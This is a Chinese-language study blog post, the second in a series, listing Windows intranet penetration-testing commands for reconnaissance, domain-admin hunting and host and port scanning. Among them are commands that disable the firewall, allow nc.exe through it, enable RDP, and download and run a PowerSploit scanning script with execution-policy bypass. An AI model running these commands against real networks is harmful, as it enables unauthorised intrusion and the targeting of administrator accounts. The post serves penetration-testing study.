内网渗透学习(二)


内网渗透学习(二)


概述

内网信息收集主要包括这几点:

  1. 我是谁?——对当前机器角色的判断
  2. 我在哪?——对当前机器所处网络环境的拓扑结构进行分析和判断
  3. 我在哪?——对当前机器所处区域的判断

命令

查询网络配置信息

ipconfig /all

查询操作系统及软件的信息

查询操作系统和版本信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

如果是中文版则把”Name”换成”名称”,把”Version”换成”版本”

查询系统体系结构

echo %PROCESSOR_ARCHITECTURE%

查看安装的软件及版本、路径

Wmic:

wmic product get name,version

Powershell:

powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"

查询本机服务信息

wmic service list brief

查询进程列表

tasklist

查询进程信息

wmic process list brief

查看启动程序信息

wmic startup get command,caption

执行计划任务

schtasks /query /fo LIST /v

查看主机开机时间

net statistics workstation

查看用户列表

net user

获取域管信息

net localgroup administrators

查看当前在线用户

query user || qwinsta

列出或断开本地计算机与所连接的客户端之间的会话

net session

查询端口列表

netstat -ano

查看补丁列表

systeminfo

wmic:

wmic qfe get Caption,Description,HotFixID,InstalledOn

查询本机共享列表

net share

wmic:

wmic share get name,path,status

查询路由表及所有可用接口的ARP缓存表

route print
arp -a

查询防火墙相关配置

1.关闭防火墙

netsh firewall set opmode disable //windows server 2003及之前版本
netsh advfirewall set allprofiles state off //windows server 2003以后版本

2.查看防火墙配置

netsh firewall show config

3.修改防火墙配置

windows server 2003及之前版本

netsh firewall add allowedprogram c:\nc.exe "allow nc" enable  //windows server 2003及之前版本

windows server 2003以后

允许指定程序进入

netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c: \nc.exe"

允许指定程序退出

netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="c: \nc.exe"

允许3389端口放行

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

自定义防火墙日志的储存位置

netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

查看代理配置情况

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

查看并开启远程连接服务

查看远程连接端口

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

在windows server 2003 开启3389端口

wmic path win32_terminalservicesetting where (__CLASS !=="") call setallowtsconnections 1

在windows server 2008和2012中开启3389端口

wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

查询权限

  1. 查看当前权限
whoami
  1. 获取域SID
whoami /all
  1. 查询指定用户的详细信息
net user xxx /domain

判断是否存在域

  1. 使用ipconfig查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器在同一个网段
ipconfig /all

​ 通过反向nslookup来解析域名的ip地址,判断域控是否和DNS服务器在同一服务器

nslookup hacke.testlab
  1. 查看系统详细信息
systeminfo
  1. 查询当前登录域及登录用户信息
net config workstation
  1. 判断主域
net time /domain

​ 有三种情况:

(1)若提示发生系统错误5,拒绝访问 —–存在域,但当前用户不是域用户

(2)若成功显示时间 —–存在域,且当前用户是域用户

(3)当前网络环境为工作组 —–当前网络环境为工作组,不存在域


探测域内存活主机

  1. 利用NetBIOS

NetBIOS是局域网程序使用的一种应用程序编程接口(API),为程序提供了请求低级别服务的统一的命令集。

使用工具nbtscan

nbtscan体积小,支持windows和linux,不需要安装其他库或dll

使用命令:

nbt.exe 192.168.1.0/20

显示列表第一列为IP地址,第二列为机器名和域所在的名称,最后一列是机器所开启的服务列表

  1. 利用ICMP

原理:对内网中每个IP地址执行ping命令

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
  1. 通过ARP

使用工具arp-scan

arp.exe -t 192.168.1.0/20

Empire中的arpscan模块

Nishang中的Invoke-ARPScan.ps1

powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/20}" >> C:\windows\temp\log.txt

可将脚本上传到目标主机运行,也可以直接远程加载脚本、自定义掩码和扫描范围

  1. 通过常规的TCP/UDP端口

使用ScanLine端口扫描工具

scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\log.txt -p 192.168.1.1-254 /b

扫描内网域内端口

  • 端口的banner信息
  • 端口上运行的服务
  • 常见应用的默认端口
  1. 利用telnet命令
telnet DC 22
  1. S扫描器
S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
  1. Metasploit扫描

使用auxiliary/scanner/portscan/tcp模块进行扫描

  1. PowerSploit的Invoke-portscan.ps1脚本
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt"
  1. Nishang的Invoke-Portscan模块
Invoke-Portscan -ScanPort -StartAddress 192.168.1.1 -EndAddress 192.168.1.1255 -ResolveHost

收集域内基础信息

确定了当前内网拥有的域,且所控制的主机在域内,就能进行域内相关的信息收集了。

通过LDAP协议到域控查询,所以查询的时候需要进行权限认证,只有域内用户拥有此权限

  1. 查询域
net view /domain
  1. 查询域内所有计算机
net view /domain:域的名字
  1. 查询域内所有用户组列表
net group /domain
  1. 查询所有域成员计算机列表
net group "domain computers" /domain
  1. 获取域密码信息
net accounts /domain
  1. 获取域信任信息
nltest /domain_trusts

查看域控制器

  1. 查看域控制器的机器名
nltest /DCLIST:域名字
  1. 查看域控制器的主机名
Nslookup -type=SRV_ldap._tcp
  1. 查看当前时间
net time /domain
  1. 查看域控制器组
net group "Domain Controllers" /domain

获取域内的用户信息

  1. 向域控制器进行查询
net user /domain

执行命令,向域控DC进行查询。注意krbtgt用户不仅可以创建票据授权服务(TGS)的加密密钥,还可以实现多种域内权限持久化方法

  1. 获取域内用户的详细信息
wmic useraccount get /all
  1. 查看存在的用户
dsquery user
  1. 查询本地管理员组用户
net localgroup administors

Domain Admins 组中的用户默认为域内机器的本地管理员用户。


获取域内管理员信息

  1. 查询域管理员用户
net group "domain admins" /domain
  1. 查询管理员用户组
net group "Enterprise Admins" /domain

定位域管理员

内网渗透的需求是获取内网中特定用户或机器的权限,进而获取特定的资源

  1. 域管理员定位

在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限。

当计算机被添加到域中,成为域的成员主机后,系统会自动将域管理员组添加到本地系统管理员组中。因此,域管理员组的成员均可访问本地计算机,且具备完全控制权限。

定位域内管理员的途径:(1) 日志 (2) 绘画

  1. 定位域管理员的工具

psloggedon.exe

psloggedon.exe \\computername或username

该工具可查看本地登录的用户和通过本地计算机或远程计算机的资源登录的用户

PVEFindADUser.exe

PVEFindADUser.exe <参数>
- current["username"] : 获取当前登录用户名
- last["userename"] : 获取最后一个登录的用户名

可用于查找活动目录用户登录的位置、枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过RDP登录的用户、用于运行服务和计划任务的用户。

netview.exe

netview.exe <参数>
-f filename.txt : 指定要提取主机列表的文件
-e filename.txt : 指定要排除主机列表的文件
-o filename.txt : 将所有输出重定向到指定文件
-d domain : 指定要提取主机列表的域
-g group : 指定搜索的组名
-c : 对已找到的共享目录/文件的访问权限进行检查

枚举工具,使用WinAPI枚举系统,利用NetSessionEnum找寻登录会话,利用NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登录的用户。同时,netview.exe能够查询共享入口和有价值的用户

Nmap的NSE脚本

如果存在域账户或者本地账户,就可以使用Nmap的smb-enum-sessions.nse引擎获取远程主机的登录会话

PowerView脚本

powershell.exe -exec bypass -Command "& <Import-Module C:\PowerView.ps1; Invoke-UserHunter>"
  • Invoke-StealthUserHunter: 只需进行一次查询,就可以获取域里面的所有用户。
  • Invoke-UserHunter:找到域内特定的用户群,接收用户名、用户列表和域组查询,接收一个主机列表或查询可用的主机域名 。

Empire的user_hunter模块

使用usemodule situational_awareness/network/powerview/user_hunter模块


查找域管理进程

本机检查

  1. 获取域管理员列表
net group "Domain Admins" /domain
  1. 列出本机的所有进程及进程用户
tasklist /v
  1. 寻找进程所有者为管理员的进程

查询域控制器的域用户会话

  1. 查询域控制器列表
net group "Domain Controllers" /domain
  1. 收集域管理员列表
net group "Domain Admins" /domain
  1. 收集所有活动域的会话列表
NetSess -h
  1. 交叉引用域管理员列表与活动会话列表
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul >sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a

查询远程系统中运行的任务

  1. 收集域管理员列表
  2. 运行下面脚本,将目标域系统列表添加到ips.txt中,将收集到的域管列表添加到names.txt文件中。
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /v /s %i /u user /p password 2>nul > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > nul && echo [!] %n was found running a process on %i && pause

扫描远程系统的NetBIOS信息

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>nul >nbsessions.txt && for /f %n in (admins.txt) do @type nbsessions.txt | findstr /I %n > nul && echo [!] %n was found logged into %i

Powershell 收集域信息

Powershell权限:

  • Restricted: 默认设置,不允许执行任何脚本
  • Allsigned: 只能运行经过证书验证的脚本
  • Unrestricted: 权限最高,可以执行任意脚本
  • RemoteSigned: 对本地脚本不进行限制;对来自网络的脚本必须验证其签名

获取权限信息:

Get-ExecutionPolicy

更改权限:

Set-ExecutionPolicy 权限名

Powershell渗透脚本:Powerview



参考:内网安全攻防渗透测试实战指南


文章作者: Doublenine
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Doublenine !
 上一篇
内网渗透学习(三) 内网渗透学习(三)
内网渗透学习(三)权限分类 User:普通用户权限 Administrator:管理员权限。 System:系统权限。可以对SAM等敏感文件进行读取 TrustedInstaller:Windows中的最高权限 系统内核溢出漏洞查看补丁
下一篇 
内网渗透学习(一) 内网渗透学习(一)
内网渗透学习(一)内网内网也指局域网,是指在某一区域内由多台计算机互连而成的计算机组。 工作组为了不让网络混乱,将不同的计算机按功能分别列入不同工作组。工作组就像一个可以自由进出的社团,方便同组的计算机互相访问。工作组没有集中管理作用,工作
  目录